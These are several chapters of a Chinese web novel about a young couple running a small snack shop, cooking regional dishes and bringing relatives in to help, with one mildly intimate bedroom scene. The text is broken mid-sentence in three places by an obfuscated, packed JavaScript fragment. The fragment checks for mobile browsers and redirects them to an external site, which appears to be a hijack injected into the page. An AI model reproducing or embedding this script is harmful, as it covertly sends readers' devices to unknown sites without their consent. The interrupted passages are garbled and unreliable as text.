一条青蒜去掉蒜白上的根须，剥去薄膜，拦腰分四段，再斜切成均匀的小碎段。 以许东山对苏月娘的了解，这蒜碎段须得与海蛎等量才算味足。 碰入蒜碎段，倒入三大勺地瓜粉，最后盐、胡椒粉、少许酱油调味。 经过清洗的海蛎中含了不少水分，只需再添上一勺清水，用筷子轻轻搅和，便可形成浓稠却又可流动的海蛎煎糊。 小灶里生起柴火，锅热倒入菜油，等到油热，便可舀一勺海蛎煎糊倒入锅中煎制。 几乎是一下锅，锅里的热油便哗哗地冒出了热烈的油花，热油在面糊下滚动，将地瓜粉糊煎得金黄发脆，被加热的海蛎与蒜叶，也被激发出了带着点海腥味的香气。 许东山轻轻翻起海蛎煎的边角，察看底面的熟度，确认底下已经全然被煎得金黄发脆了，便将锅铲往下一推，勺面托着已经凝结的底面用力一番，将还是面浆质地的上面翻到底下去煎。 静等了好一会儿，海蛎与蒜叶的香气已经被热油激发足了，两面都是金黄酥脆的，许东山便用煎勺将海蛎煎分成小块。 这海蛎煎里的地瓜面糊虽然被煎地金黄酥脆，但内里还是软糯的，煎勺一剁，外头断了，里头再一拉扯，便也就被分成了几片。 刚才备的海蛎煎糊还多着，许东山又重新热油，煎了两锅，才将海蛎煎糊用完。 等碟子里的海蛎煎堆成了一座小山，大锅里的鸡汤粥也可以出锅了。 …… 海蛎煎的气味一直从厨房飘到了后屋，径直钻入了房里。 睡得香甜的苏月娘闻见这味道，只能响着肚子醒来。 苏月娘穿好衣裳，简单将头发挽了起来，便去了前头。 许东山正将那碟堆得跟小山似的海蛎煎放到桌上，余光瞥见苏月娘打着哈欠走来。 “先过来吃点，我马上把粥盛出来。” 筷子和调羹已经摆放在了桌上，苏月娘一坐下，便拾起筷子，夹了一片海蛎煎，蘸上些许甜辣后，整片塞进嘴里。 海蛎煎已经出锅一会儿了，此时并不算烫，苏月娘托着腮，眯着眼，咀嚼着外脆里糯的海蛎煎。 今天许东山挑的海蛎又大又肥，虽然经过油煎，海蛎却依旧柔韧，一口咬下去，似乎还流出点鲜甜的汁水。 正好这海蛎煎切得小块，苏月娘一口塞一块毫无压力。 海蛎鲜韧、蒜叶冲香，裹挟在地瓜粉团之中，匀和上甜辣，滋味甚美。 苏月娘当即拍板决定要售卖海蛎煎。 许东山端着鸡汤粥出来时，苏月娘已经往嘴里塞了不知多少片海蛎煎了。 虽然许东山看不清别的，却看清楚了苏月娘泛着油光的双唇。 “过两天咱们卖海蛎煎！” “好，所以咱们什么时候开店？” 苏月娘鼓着腮帮子沉吟。 “大后天开吧……挣钱可是大事，不能耽搁太久……” 58. 小肠灌葱汤 吃过饭洗了碗之后，无事可做的夫妻俩再次回了被窝。 穿得单薄的妻子侧躺在身边，许东山本能的抱了过来，怎知他才凑过去，苏月娘便一把拍开他的胳膊。 “一边去！明天还要去舅舅家呢！” 许东山讪讪地缩回手，平躺回去，并给苏月娘盖好被子。 “以后店里会越来越忙，要不让表哥和春喜嫂过来帮忙吧？”吃过饭后，苏月娘再次困劲儿上头。 “好，听你的。”许东山隐约看她困得冒出泪花了，便伸手替她擦拭。 苏月娘一点面子不给地转过身，“你老实点，别碰我！” 遭了嫌弃的许东山懊恼地自己转过了身，没过多久，他的身边传来了绵长的呼吸声。 听着苏月娘的呼吸声，许东山的思绪飘远了。 如果要让妹妹妹夫过来帮忙，他们二人肯定要在这儿住下。 对面那间房里的床又小又旧，妹妹妹夫睡在上面肯定不方便，看来，还是得再找林木匠打一张新的床…… …… 对苏月娘来说，去阿舅家和回门也没有什么两样了。 既然如此，许东山也就照着回门礼的标准，给这“后头家”的阿舅阿妗、妹妹妹夫准备了两大筐回门礼。 虽然周遭瞧着绿叶葱茏，但寒风一吹来，总刮得人脸面生疼，将对冬日的最后一丝幻想打破。 苏月娘里里外外穿了三层衣裳再将脸蒙得严严实实的，才坐上骡车后板，随着许东山出发。 路途遥远，许东山担忧苏月娘受凉又饿肚子，索性给她买了两个肉包子捂手，等凉一些了，还能填吃了先垫垫肚子。 一个多时辰之后，骡车入了浮桥。 许东山也来过好几回了，倒也摸索出一条能通向林家的平坦小道。 穿过一小片山林一直向西走到山脚下，便能够看见还张贴着红双喜字的林家了。 坐在院子里洗衣裳的林大松听见有骡子踩地的声响，连忙丢下捣衣棒子跑出院门探头。 只见许东山骑着骡子，拉着苏月娘与一车东西朝着自家赶来。 “春喜！月娘和大哥回来了！” 在厨房里洗小肠的许春喜听见林大松的喊声，洗了手便赶了出来。 此时，骡车已经停在了院子里，自家大哥和林大松正在卸后板上的箩筐，而穿着一身鲜艳红袄子的苏月娘小媳妇似的站在门边盯着许东山做事。 许春喜笑着上前拉上苏月娘的胳膊，“别管他们了，咱们两个进屋喝茶！” 苏月娘随着许春喜入门，“阿舅和阿妗呢？” “爹娘闲不住，非要去山上做事，再等一会儿，他们两个兴许就回来了！”许春喜看许东山还站在外头拴骡子，便凑到苏月娘耳边，低声问道：“怎么样？你和我哥还顺利吗？” 都是成了亲的人了，苏月娘自然听得许春喜话里的话，她红着脸，娇瞪了许春喜一眼，“你有本事问阿山去！” 听到苏月娘改了称呼，许春喜笑得更欢了。 “看来还挺顺利的！”许春喜捏了一把苏月娘颜色极好的脸颊。 许东山与林大松打点完带来的东西后，一人在许春喜那儿领到了一杯热茶。 握住发烫的品茗杯后，许东山被寒风吹得冰凉的手才慢慢暖和起来。 苏月娘看看表兄表嫂，再看看许东山，毕竟是亲上加亲的关系，有什么事情直接开口便是。 “往后店里会越来越忙，就我和阿山、红姑三个人多半是做不来的……正好今天过来，我想问问你和表哥还愿不愿意过来帮忙？” 许春喜倒没什么不愿意的，婆家虽然待着也舒心，但到底比不上自己从小住到大的娘家。 “我倒是愿意，就是这事儿得问问爹娘的意见。” 平日林富贵和张氏都得上山干活，若是许春喜和林大松走了，那老两口的吃住就没人照顾了。 许东山无意间瞥见一旁的林大松面露难色，“怎么？你不愿意？” 在月娘小吃铺干了一段的时间的林大松早已经见识到了那儿有多忙碌了，刚想点头，许春喜锐利的眼神便扎在他的后背上。 林大松呵呵笑了两声，心口不一道：“我……我很愿意啊……” “愿意就好，工钱上一定不会亏待你们的。”许东山拍了拍林大松瘦弱的肩膀，“你这身板还是得多练一练！” 林大松当真是欲哭无泪。 —— 今日林富贵和张氏知道外甥女和外甥女婿会回门，便比平日早了半个时辰下山。 两人到家时，四个晚辈已经在厨房里忙活了。 林富贵凑到许东山和林大松中间看了一眼，“呦，你们两个灌葱呢！” “是啊，今天中午煮您最爱喝的小肠灌葱汤！这小肠还是我起了个大早去镇上买的呢！可新鲜了！” 林富贵，“别说话了，干你的活，你看阿山干活多麻利啊！” 听此，林大松瞥了一眼身边的许东山，与自己一棵一棵地往里灌不同，许东山是一把抓起三两棵葱一起往小肠里灌，将葱推进去一截儿后，掐着其中一棵葱白的位置将那棵葱推到更里的位置去，这样一来不仅灌快又灌得极为饱满匀称。 这手法约莫是在宴席班子练过吧！ 两人一起将小肠灌好了之后，锅中的水正好煮开，许东山端起装满小肠的盆放在灶边，快速地抓起鼓鼓囊囊的灌葱小肠丢到滚水中。 稍煮了一会儿，灌葱小肠被煮至定型。 许东山捞起小肠沥汤，林大松适时端来了已经放好几只文蛤与一根龙骨的大汤煲供许东山装小肠。 大概是这小肠没有取出肠面油边的缘故，发白的肠汤上飘着一层浓稠的浮沫。 许东山仔细地将浮沫刮了出来，才用大勺将肠汤舀舀到大汤煲里。 才初初有些熟度的灌葱小肠已经有了些香味，林大松低着头，深深地吸了一口气。 “还挺香！等炖好了，这味道一定差不了！” 许东山皱眉，“别把口水滴进去了。” 在后头剁小鸡的林富贵耳朵尖，听见许东山嫌弃儿子了，他立马搭腔，“林大松你好好干活！” —— 虽说今日的菜不比提亲那日的丰盛，但也依旧是满满当当一桌子。 林富贵心里高兴，特意从后院搬来一坛自家酿的米酒给大家伙都倒了一碗。 “这是你们小两口成亲后头一回回来，咱们喝一杯庆祝庆祝！”林富贵端着酒碗，看向许东山，“来！咱们爷俩喝一杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448830|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 许东山看看自己那碗满得差点溢出来的米酒，端了起来，碗沿略低于林富贵的碗沿相碰后抿了一小口。 一口闷了米酒的林富贵发觉许东山就喝了一小口，难免不满，“怎么？连我这个阿舅的面子都不给？就喝这么一小口？” 许东山放下酒碗，满是歉意地解释道：“不是我不愿意喝，实在是喝多了骑骡子不安全！” 林富贵皱眉，“不安全？” “确实是不安全！你没听说以前我们那儿有个老岁数喝了酒后骑骡子上山运柴火，结果从骡背上摔下来，给摔没命了！”张氏看了眼林富贵的酒碗，“我看你也少喝一点！” “我就再喝半碗！下午我不上山！”林富贵试探着给自己再倒半碗酒，见妻子没有反对，便美滋滋地小口嘬了起来。 既然刚刚没有将酒喝完，许东山便主动给林富贵盛了一碗小肠灌葱汤作为赔礼。 林富贵自然不会因为许东山没一口闷了那碗酒而怪罪他什么，那碗汤一递过来林富贵便很给面子地端起碗喝汤。 小肠汤原是略有苦味的，但汤汁掺入文蛤与龙骨一起炖煮，那不多的小肠苦味便被文蛤与龙骨的鲜甜掩盖住了。 尝过清鲜的汤底后，林富贵舀起一截儿剪成了小拇指那般长的小肠塞入口中。 小肠虽灌了葱，可究竟缝隙难填，滚烫的鲜汤顺着露在外头的葱叶钻入了小肠之中。 林富贵一咬，滚烫的汤汁便从小肠里被挤压了出来，林富贵被烫得差点脸色。 不过就算被烫了，也丝毫不影响林富贵品尝小肠的心情。 没有剪掉油边的灌葱小肠吃起来有一股丰富的油香，加之这小肠不偏不倚炖了正好两刻钟，肠质易咬断却又不至于过于软烂。 “阿舅阿妗，我有件事想问问你们的意见！” 林富贵从那碗味美的小肠灌葱汤里抬起了头，做出一副严肃的模样，“你说！” “我想请表哥和表嫂去我店里帮忙，不知道您愿不愿意？当然……工钱我肯定会给得足足的！” 林富贵还以为苏月娘要说什么很重要的事情，没想到就是朝他要走只会在家里做饭洗衣服的儿子儿媳。 “害！我还以为你碰见什么难事了！他们两个要是愿意，你俩连夜把他们打包走都成！” 并不怎想去干那苦活的林大松抱有最后一丝希望地看向林富贵，“爹，我和春喜要是走了，谁来伺候您和我娘？” “我和你娘又不是没手自己照顾自己！倒是你，叫你去山上干活你总是偷懒！既然这样，你倒不如出去挣两个钱自己花！” 张氏关切地看着儿子与儿媳，“你们两个要是去了，岂不是得住在那儿了？” “娘，您放心！我和大松肯定时常回来看您和爹的！”许春喜生怕张氏不答应，连忙给张氏夹菜讨好她。 张氏也是出嫁女，她知道外嫁的姑娘就算在婆家待得舒心，心里也会刚想着娘家。 许春喜方才应得这般快，怕是在心里头想好要去凤池给苏月娘帮忙了。 “既然要外头长住，那就多带一些衣裳！大冬天的，别冻着自己了！” 既然公婆都答应了这事儿，许春喜欢喜得恨不能现在就去收拾包袱，一会儿就跟着回娘家去。 59. 香煎巴浪鱼 许东山还打算给妹妹妹夫做一张新床，便特意嘱咐两人可以多在浮桥歇个十天半个月的，养足了精神再过去。 怎知许春喜还以为自家大哥在体贴自己，兄嫂一走，她便拉着林大松回屋收拾起了行囊。 —— 许东山与苏月娘成婚的第四日，月娘小吃铺再次开业。 苏月娘揭下许东山张贴的告示，重写了一张贴了上去。 【头家有喜，赠食客小食一碟】 先前厝边们赏脸捧场，苏月娘挣了不少钱，如今正好赶上了她与许东山成亲，做点不要钱的东西分给厝边们沾沾喜气也是应当的。 今日头一个上门的还是勤快的吴头家。 “月娘头家！老样子！”吴头家才踏上台阶便朝着里头大声喊话，走至门边，吴头家瞧见门扇上贴着的红纸，倒是一乐，“月娘头家给准备什么小食了？” “香煎巴浪鱼、炸花生、大骨肉，您看您想要哪种？” “给我巴浪鱼吧！巴浪鱼配面线糊天下第一美！” 苏月娘应了一声，将放好料的面线糊放在吴头家面前后，又返回厨房端来一碟巴浪鱼。 “你这巴浪鱼还真不错！都帮着撕成小块了！” “这巴浪鱼两刻钟前才出锅，现在鱼肉的温度不至于太烫，鱼皮又正好酥脆！” 吴头家一边听着苏月娘的介绍，一边品尝巴浪鱼，果不其然，经过冷却的巴浪鱼皮变得酥脆，内里的巴浪鱼肉尚有些温度，咸鲜味美。 “不得不说，你家这巴浪鱼还真挺有滋味的！如果再给我加点酱油味道会更好！” “您等着！”吴头家一向口重，总要苏月娘往面线糊里多加些胡椒粉并倒上一勺配料的卤汁。 加了酱油的巴浪鱼端出来后，吴头家再一尝，对味儿了！ “现在外头的店都不屑于做这样家家户户都会的小吃食！在我家帮忙煮饭堂婶虽然也会在家做这个，可她不舍得放油啊！每次都煎得糊底！说了她也不听！” 吴头家重重叹气，“要不是看她是自己人，我早叫她回家去了！” 吴头家家里帮忙烧饭的堂婶有多不会煮饭苏月娘不知道，但她还是得帮忙宽慰两句。 “如果我也有您这样雄厚的财力我指定寻个人在家替我烧饭！莫管好不好吃，到底是替我出了这份力！” “雄厚的财力”五个字让吴头家心情舒畅无比。 他嘿嘿笑道：“就凭你和阿山这样勤劳肯干还大方的个性，早晚成为咱们凤池镇的大富人！” “借您吉言了！我要是真富了，以后我这儿的吃食随您吃！我一分钱不收！” …… 有一碟小食作为噱头，今日上门的客人那叫一个多。 原先能卖一整天的两大桶面线糊在午饭进行到一半时，便已经卖没了。 等过了中午这阵儿，一向吃苦耐劳的红姑难得对着堆着水池里的碗筷山露出了头疼的表情。 许东山也瞧见了那一池子碗筷，“我跟您一起洗，月娘，你先去歇一会儿！” 如今天气寒冷，许东山可舍不得让苏月娘洗碗。 “我去烧点水给你们洗碗！”想着月事也就是这两日的事儿了，苏月娘便没有和许东山客气。 厨房角落的大水缸里水倒是足够，苏月娘一气儿装了两大锅水放锅里烧。 刚盖上锅盖，堂屋里便传来了脚步声与东西丢在地上的声音。 原以为又有客人上门，苏月娘匆匆擦了手，便往外头走。 “吃点什么？” 才刚走出去，苏月娘才发觉进门的人是林大松和许春喜。 只见林大松坐在一堆包袱只见气喘吁吁，“诶……月娘……赶紧倒杯水给我喝！” 水壶和茶杯就在身后的桌子上搁着，苏月娘连忙倒上两杯水，给林大松和许春喜送过去。 “阿山，表哥和春喜嫂过来了！” 许东山听见苏月娘的叫唤，让红姑帮忙冲了手后，就跑了出去。 看到妹妹妹夫的第一眼，许东山下意识问道：“你们两个怎么过来了？” 许春喜瞥了许东山一眼，“不是你和月娘让我们过来帮忙的吗？” “你真不会说话！”苏月娘推了许东山一把，笑道：“我和你哥给你们两个定了一张床，还要好几天才到了呢！既然你们提早过来了，那就只能委屈你们睡那张小床了！” 许春喜恍然大悟，“我还以为我哥让我俩晚点过来是跟我俩客气啊……没想到还特地给我俩打了一张新床！” “不仅有新床，我还给你们准备了一床花色好看的枕被！昨日刚拿到手，我就给洗了，这会儿挂在天井那儿晒着呢！”苏月娘见许春喜将水喝完了，便挽上许春喜的胳膊，“我带你去看看！” 看着姑嫂二人离开了，许东山收回视线，看向还坐在一堆包袱上喝水的林大松。 林大松这般不讲究的行径，惹得许东山好一阵皱眉。 “赶紧站起来把东西搬到后面去！” 说罢，许东山转身回去继续洗碗了。 原以为许东山会好心搭把手的林大松，“……” —— 林大松和许春喜的到来让连轴转了大半日的三人得以喘息一口气。 这忙碌的一日到底是圆满结束了。 红姑和阿生吃过晚饭后就离开了，碗筷便由许东山和林大松承包了。 这才来头一日，林大松还是很有干劲的，刷碗时，那力道大得险些将丝瓜擦擦破。 许东山看了，倒是挺满意的。 不过，想起前段时日林大松倦怠的模样，许东山还是多嘴了一句： “你今天晚上早些睡，明早卯时之前就得起。” 在离开浮桥前，林富贵和张氏对林大松耳提面命许久，叫他踏实干活，不可辜负苏月娘和许东山的信任。 林大松连忙朝着许东山保证明日定会在卯时之前起床干活。 …… 许东山洗去一身油烟味儿，回到屋里歇息，已经是半个时辰后的事情了。 屋里黑得伸手不见五指，许东山只得摸着黑，爬上床，钻进了被窝。 苏月娘已经在被窝里躺了许久，这被窝被她捂得暖和极了，许东山一进被窝，身上的寒冷好似一眨眼间就消散了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453892|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏月娘还没睡，许东山一躺下，她便靠了过来，八爪鱼似的抱住了许东山。 “这天可真冷，还是你身上暖和！” 许东山一手搂着不算往自己身上攀的苏月娘，一手拉着被子，一直盖到了她下巴边上。 两人连体婴一般搂在一块儿，苏月娘身上暖和了，许东山身上燥热了。 他叹息一声，低下头找她的唇，大手从她寝衣下摆钻进去，一把攀在她未着寸缕的柔软上。 苏月娘的唇被封住，于唇瓣被揉碾辗转之间，发出几声“呜呜”。 眼瞧着行动力极强的许东山就要剥开她的衣裳，苏月娘赶忙抓住他胡作非为的手，强行将之从衣裳里拉了出来。 许东山喘息不匀地盯着不断往后缩的苏月娘，还没等她解释，便又一把把她拉了回来，翻身压了上去。 苏月娘不允他吻她的唇，他便侧过头，吻着她的脖颈，压在身下的手，将她的寝衣撩起。 眼瞧着再不制止就该出事了，苏月娘一口狠狠咬在了许东山的肩头。 许东山这才稍稍直起身子疑惑地看她。 “你今天怎么了？” 前几日苏月娘虽然也对着他欲迎还拒，但只要他亲她一顿之后，她便会乖巧地配合他。 苏月娘红着脸，蚊子哼哼那般，小声说道：“我……我来事儿了……” 许东山发愣，“什么事儿？这事儿不能一会儿再说吗？” 苏月娘忙将他推开，躲到被子里，“我这几天身子都不方便……” 苏月娘这么一解释，许东山才明白她所说的“来事”是什么意思。 虽然到嘴的肥肉飞走了，但许东山还是体贴妻子身子的不适。 “那就先歇着吧……” 想到苏月娘的寝衣被自己撩了一半，许东山赶忙伸出手，在被子下将苏月娘的寝衣拉扯齐整。 “要抱！”将事情说清楚了，苏月娘又亲亲热热地抱了过去。 还紧绷着的身子被这么一抱，许东山呼吸急促了几分，原想趁着外头没有什么动静赶紧去浴房里冲个澡冷静一番，可苏月娘却依赖着他的体温，不肯动弹。 许东山只好闭上眼睛，安慰自己心静自然凉。 可这血气方刚的年轻人分明娇妻在怀，却无法亲热，于他而言，无异于一大折磨。 苏月娘身子虚，在许东山温热的怀抱里躺了一会儿，便沉沉睡去了。 倒是许东山生无可恋地抱着苏月娘，两眼放空地盯着墙。 好不容易等他冷静下来了，闭上眼睛要入睡了，门外却传来了一阵一阵的嘎吱声。 “嘎吱、嘎吱、嘎吱……” 这声音不小，又极有规律，并不怎么像是老鼠在啃咬家具。 许东山警觉地睁眼听了一耳朵便明白了，随后，他皱着眉头，将厚被子蒙在了脑袋上。 他之所以急着给妹妹妹夫换一张好一点的床，便是怕这样的事情发生。 这刺耳的嘎吱声断断续续地响了半个多时辰才消停。 许东山头疼地取下蒙在头上的被子，决计明日私底下委婉地与妹夫好好说说这事儿。 60. 鲨鱼羹汤 次日，离卯时还有一刻多钟，天还灰沉沉的，只隐有一丝光亮藏在远处，不知何时才会显出。 刚打开院门的许东山一抬头，便看见林大松举着块擦脸巾子冲着他眉飞色舞地笑着。 “大哥你看我起得早不早！” 林大松虽然眼睛小，但那对小眼睛里满是光亮，一瞧便知道他昨夜睡得极好。 许东山连个眼神都懒得赏给他，就径直走到水井边上揭开井盖。 林大松迅速擦了脸后，便去给许东山拎打水的水桶。 井口太低，水桶又重，林大松生怕自己会站不稳一头栽到水井里去，递了水桶后，便安静地站在边上看着许东山打水。 昨夜没怎么睡好的许东山臭着一张脸弯身打水，今日井里水位低，打水比平日累一些，许东山的眉头又皱了几分。 偏生林大松还是个极没眼力见儿的人。 “大哥，你脸色怎么这么差？是昨晚没休息好吗？要不要休息一下？” 许东山，“……一会儿你跟我出去买菜。” 和这个没眼力见的妹夫私下聊聊的事情可不能再拖了，不然一会儿苏月娘和许春喜醒了，可就不好聊了。 打满一大缸子水之后，许东山喊林大松进屋一起做面线糊。 既然林大松打算在这儿干活，学会如何做面线糊总是必要的。 林大松知道面线糊是许东山的家传手艺，见许东山要教自己做面线糊，他受宠若惊地笑出了声。 “大……大哥……你真要把你的看家本事教我？” 许东山皱眉，“煮面线糊算什么看家本事？” “春喜都跟我说了，咱们家这面线糊的手艺传了三代人了！都是靠这好手艺，才能盖起这么大的屋子！” 许东山笑了声，“没什么祖传不祖传的……小时围在锅灶边添柴火、掰面线、撕巴浪鱼，看我爹煮多了，自然而然也就学会了……” 林大松不信，“可大哥和春喜做的面线糊味道不一样……大哥的分明会好吃一点！” “春喜口味清淡，每次虾糠和巴浪鱼都下不够数……面线糊这东西各人各味，下多少料没有定数，我做的面线糊也不是人人都喜欢。” “这样啊……”林大松若有所思，“那我看着大哥做！只要我学会了！不出三日，我肯定能掌勺！” —— 许东山带着林大松煮了两大桶面线糊，备好了十几样配料，正好红姑领着阿生上门、姑嫂俩睡醒。 店里有人看着，许东山和林大松也就一人拎一个篮子出门去了。 天色已经亮得彻底了，商贩沿街排布，行人或疾步或停下挑选菜肉，在熙攘喧闹的街市之间，周边几家吃食店的香味四处乱钻。 浮桥偏僻，那儿的街市可比不得此处热闹。 林大松初来乍到的，看什么都新鲜。 许东山只是蹲下买了两样菜，再次抬头，林大松已经跑得没影了，还是相熟的厝边帮着指了林大松的去向—— 林大松这馋鬼偷溜去买包子了。 林大松买了一大袋包子，大老远地朝着许东山招手，“大哥！来吃肉包子！这家的肉包子又大又好吃！” 林大松小跑到许东山跟前，从油纸包里头掏出一个热气腾腾的大肉包子递给了他，许东山皱着眉头拒绝了。 许东山，“我不吃，你别乱跑，买菜要紧。” 林大松两边腮帮子鼓鼓囊囊的活像山上的松鼠，“我可不是乱跑，我给春喜和月娘买包子吃。” 妹夫都这般说辞了，许东山也不好太过苛责他什么。 两人继续往前走，许东山琢磨了许久，才下定决心开口道：“那个……你晚上早点睡，别……乱折腾……” 和妹夫说这种话还怪不好意思的，说到后面，许东山的话都囫囵在了嗓子里。 周边太吵，林大松听得晕乎乎的，“什么？我昨晚上睡得挺早啊！” 许东山咬咬牙，“我是说……等新的床做好了，随你怎么折腾都行，但是这几天你给我消停一点……” 话说得够清楚了，脑子不大灵光的林大松一听就明白了。 林大松一时间涨红了脸，沉默了，“……我知道了哥……” …… 话说太明白了的后果便是这一整日两个人都绕着对方走。 惹得许春喜还私底下追问林大松是不是得罪自家大哥了。 昨晚是林大松非求着许春喜亲热的，若是将许东山的意思告诉许春喜，怕是会招许春喜的骂。 所以林大松选择打着哈哈瞒过去。 “没有的事儿！我哪敢得罪咱们大哥啊！你也累了一整天了，该饿肚子了吧？我去给你做晚饭！” 许春喜半信半疑地看了林大松一眼，看他面上没有怪异才放他离开。 林大松悄悄松了口气，快步走进厨房里。 许东山两口子外加一个红姑围在灶边准备今日的晚饭了。 “月娘，有什么要帮忙的吗？”林大松从苏月娘身边探头。 苏月娘顺手从灶头的菜篮子里抓出一条已经开膛破肚好的小鲨鱼交给林大松。 “把这条小鲨鱼处理一下。” 林大松倒拎着那条小鲨鱼晃了晃，“这条鲨鱼是打算切块炣还是做什么别的？” 许东山，“还缺一样汤，你把这鲨鱼去皮，片成小片，再挂上浆就好了。” 林大松暗暗记下许东山的话后，便拎着这小鲨鱼去后院水池边处理。 鲨鱼味略酸，肉质又松又柴，自是比不得别的鱼种来得鲜美滑嫩。 所以，对于鲨鱼来说，在外头挂上一层顺滑的浆液，再下水煮熟，便可极好地化解肉质松柴的问题。 林大松这几个月在锅灶边的勤学苦练自是有用的。 剥鱼皮、片鱼片对他而言并不在话下。 苏月娘半途去后园里逛了一圈，看着盆里厚度均匀的鲨鱼片，还夸了林大松一句。 林大松乐不可支地嘱咐苏月娘要在许东山跟前多说一说自己的好。 这鲨鱼味道略腥，若想味道好，还需费心多处理一番。 林大松切了点细姜丝连同少许加饭酒一齐倒入了鲨鱼片中，稍稍腌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462454|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制了一会儿。 “喏，地瓜粉给你放这儿了，外头太冷，我就不出去了！”许春喜站在床边，将一碗地瓜粉放在窗台上，“你弄完鱼片赶紧进来！小心冻着凉了！” 林大松一抬头看见许春喜，便咧着嘴笑了。 “还是你知道心疼我！” 许春喜冲他翻了个白眼，便走了。 虽然林大松时常被许春喜嫌弃，但这是独属于小两口打情骂俏的方式，林大松见了许春喜的白眼，从来不会恼，只是目光紧紧追随着她的背影而去。 腌制鲨鱼片时，林大松顺手将池子里的碗筷洗了，等第一遍洗完，鲨鱼片也差不多去掉了腥味。 用筷子挑走鱼肉里的姜丝，撒入小半勺盐、少许酱油、料酒、胡椒粉后，林大松撸起袖子，右手手指稍拢，又快又轻地搅起了鲨鱼片。 粉白色的鲨鱼片在快速翻转之中摩擦出了胶质，鱼片表面黏稠粘手，稍一扫，就在盆里团成了一团。 接下来，只需放一大勺地瓜粉，再放上点水，使鱼片均匀地挂上地瓜粉浆便成。 林大松处理好鲨鱼片后，端着盆回到了厨房里。 原以为许春喜已经离开了厨房，没想到她就站在案板边，慢悠悠地切着菜头片与红菜片。 “还不快点过来煮汤！别耽误大家吃饭！”许春喜切够了数后，仔细地用手指抹了抹刀面，将粘在上头的菜头片扫下来。 林大松乐呵呵地过去接许春喜切好的菜头与红菜。 …… 如今家里多了许春喜与林大松，晚饭自是要做得比从前更丰盛。 六个人围坐一桌，五菜一汤摆在方桌的正中央。 “天气这么冷，先喝点鲨鱼羹汤暖暖身子！”林大松先给许春喜盛了一碗热乎的鲨鱼羹汤。 许春喜捧着已经渡了些热度的瓷汤碗，低头吹了吹鲨鱼羹汤，潜藏在鲨鱼羹汤里的鱼香、胡椒香以及芹菜香顿时飘了出来。 尝了一口鲜甜又带着点胡椒辛辣味道的羹汤后，许春喜的肚子里暖洋洋的，“冬天就该喝一口有胡椒味儿的汤！” “都尝尝鲨鱼羹！我保证这鲨鱼羹吃起来一定滑嫩！”林大松连忙吆喝了起来。 大家也都给他面子，纷纷往碗里头舀了一勺鲨鱼羹尝了起来。 其中，阿生最是嘴甜会捧场。 “姑父，你手艺真好！” 林大松扭头看着身边的小人儿，很是疼爱地捏了捏他圆润的脸颊，随后故意逗他，“那你具体说一说这鲨鱼羹怎么样！” 阿生一边嚼着鲨鱼羹，一边敷衍道：“滑滑的，嫩嫩的！” 林大松，“你以后可是要去学堂读书的人，怎么连一句好听话都说不出来？” 阿生皱着脸，“不好吃！不好吃！刚刚我是骗你的！” 众人皆被逗乐了，就连一向没什么表情的许东山都忍不住偏头笑出了声。 林大松圈起手指，在阿生的脑门上不轻不重地弹了一下。 阿生气得哇哇大叫。 有林大松和阿生这两个逗趣的活宝在，堂屋里笑声不断。 61. 碱仔粿1 “来哦！来哦！正宗的许氏面线糊开张喽！” “今天来我家吃东西，我只收一半的钱！” 天初初亮，苏月娘打开月娘小吃铺的大门，站在巷口的李金花赶忙扯着嗓子朝着巷子外头吆喝了起来。 李金花嗓门大，声音尖锐，苏月娘被她这一嗓子喊得耳朵疼。 正想往回走，听着声响的许春喜一脚跨过门槛，伸长脖子往隔壁看。 隔壁的二福面线糊店，哦不，隔壁的“许氏”面线糊外头挂了两块挽成花的红绸，门扇两侧是一幅照虎画猫的庆联。 许春喜儿时习得几个字，粗一看，字儿写得不行！再细一瞧，还有错字！ “二婶，这副联是哪儿来的？” 李金花得意洋洋地仰着头，“这副联可是我花了大价钱找识字的人写的！怎么样？够气派吗！” 这副联也就唬一唬李金花这样大字不识的人了。 许春喜忍着笑，挽着苏月娘的胳膊回屋了。 “你笑什么呀？”苏月娘疑惑地用肩头撞了撞许春喜的上臂。 “她舍不得花太多润笔费找真正认字的人写联，那副联可谓是错漏百出！” 李金花什么德行苏月娘也是清楚，对于她这般大张旗鼓地用“许氏面线糊”的招牌开业，她也没什么可担心的。 “随她折腾去吧！不过她开了业，还只收一半的钱，这两天咱们店里怕是得闲下来喽！” 许春喜看苏月娘这时候还能满面轻松地回厨房找许东山给做满煎糕吃，心里倒是对她多佩服了几分。 月娘小吃铺做的是镇上厝边的生意，食客们来来回回也就那几个姓，大家都与李金花一家子抬头不见低头见的，就算心里对李金花一家子有点什么想法，但李金花开了店，他们还是得做做样子，去捧个场。 这么一来，月娘小吃铺竟空了一半。 店里五人闲得围坐在桌边泡茶剥花生。 